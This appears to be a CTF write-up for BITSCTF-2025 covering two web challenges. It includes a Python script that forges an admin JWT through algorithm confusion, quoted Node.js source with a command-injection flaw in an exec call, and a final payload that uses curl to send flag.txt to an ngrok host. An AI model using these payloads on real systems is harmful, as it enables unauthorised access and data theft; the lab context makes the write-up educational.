---
# System prepended metadata

title: BITSCTF-2025

---

## Baby-web

In this challenge, we need to extract the certificate's content to decrypt it and use it as the `HMAC secret` to create a `JWT` with the `role of admin`

`script`
```python=
import jwt
import requests
import base64
import re

url = "http://chals.bitskrieg.in:3005"


# Load the public key
with open("public-key.crt", "r") as f:
    pem_data = f.read()

# Remove the header and footer
pem_body = re.sub(r"-----.*?-----", "", pem_data, flags=re.DOTALL).strip()

# Decode from Base64 to raw bytes (HMAC secret key)
hmac_secret = base64.b64decode(pem_body)


token = jwt.encode(
    {"username": "admin", "role": "admin", "iat": 1739171309}, 
    hmac_secret, 
    algorithm="HS256"
)

forged = f"Bearer {token}"
print("[*] Forged Token:", forged)

response = requests.get(url + "/admin", headers={"Authorization": forged})

print("[*] Server Response:", response.text)
print(hmac_secret)
print(token)
```

Docs : https://portswigger.net/web-security/jwt/algorithm-confusion

## BrokenCode

`source`
```python=
const express = require('express');
const { graphqlHTTP } = require('express-graphql');

const { graphqlUploadExpress, GraphQLUpload } = require('graphql-upload');
const fs = require('fs');
const path = require('path');
const { exec ,execSync} = require('child_process');

const app = express();
const mysql = require('mysql'); 
require('dotenv').config();


app.use(express.static('public'));
const typeDefs = gql`
  scalar Upload

  type File {
    filename: String!
    mimetype: String!
    encoding: String!
    path: String!
  }

  type Query {
    _empty: String
  }

  type Mutation {
    uploadFile(file: Upload!, filename: String!): File!
  }
`;
const UPLOAD_DIR = path.join(__dirname, 'uploads');

const resolvers = {
  Upload: GraphQLUpload,
  Query: {
    _empty: () => 'Hello World',
  },
  Mutation: {
    uploadFile: async (_, { file, filename }) => {
      const { createReadStream, mimetype, encoding } = await file;
      const filePath = path.join(UPLOAD_DIR, filename);
      if (fs.existsSync(filePath)) {
         console.log("File Exists")
      }
      else {
      await new Promise((resolve, reject) => {
        createReadStream()
          .pipe(fs.createWriteStream(filePath))
          .on('finish', resolve)
          .on('error', reject);
      });}

      return { filename, mimetype, encoding, path: filePath };
    },
  },
};




app.use(express.static(path.join(__dirname, 'public')));
console.log(path.join(__dirname, 'public'));
app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'public', 'index.html'));
});


server.start().then(() => {
  server.applyMiddleware({ app });
  app.use('/upload', graphqlHTTP({ resolvers, graphiql: true }));

  app.get('/execute', (req, res) => {
    const file = req.query.file;
    if (!file) {
      return res.status(400).send('Missing file parameter');
    }
    const execPath = path.join(UPLOAD_DIR, file);
    exec(`su - rruser -c "node ${execPath}"`, (error, stdout, stderr) => {
      if (error) {
        try {
                execSync(`rm ${execPath}`);  
            } catch (rmError) {
                console.error(`Failed to delete ${execPath}:`, rmError);
            }
        console.log(error)
        return res.status(500).send(`Error`);
      }
      if (stderr) {
        console.log(stderr)
         try {
                execSync(`rm ${execPath}`);  
            } catch (rmError) {
                console.error(`Failed to delete ${execPath}:`, rmError);
            }
        return res.status(500).send(`Error`);
      }
      console.log(stdout);
      try {
                execSync(`rm ${execPath}`);  
            } catch (rmError) {
                console.error(`Failed to delete ${execPath}:`, rmError);
            }
      return res.status(200).send(stdout);
    });
  });
  const PORT = 7000;
  app.listen(PORT, () => {});
});

```

We can clearly see a command injection vulnerability in the source code.

```python=
exec(`su - rruser -c "node ${execPath}"`...
```

Since the content will not be displayed, we aim to expose it through another channel, specifically `ngrok`.

```
ngrok http {port opening}
```

`final payload` 
```
;curl%20https://29ca-2-37-167-108.ngrok-free.app?flag=$(cat%20flag.txt)
```

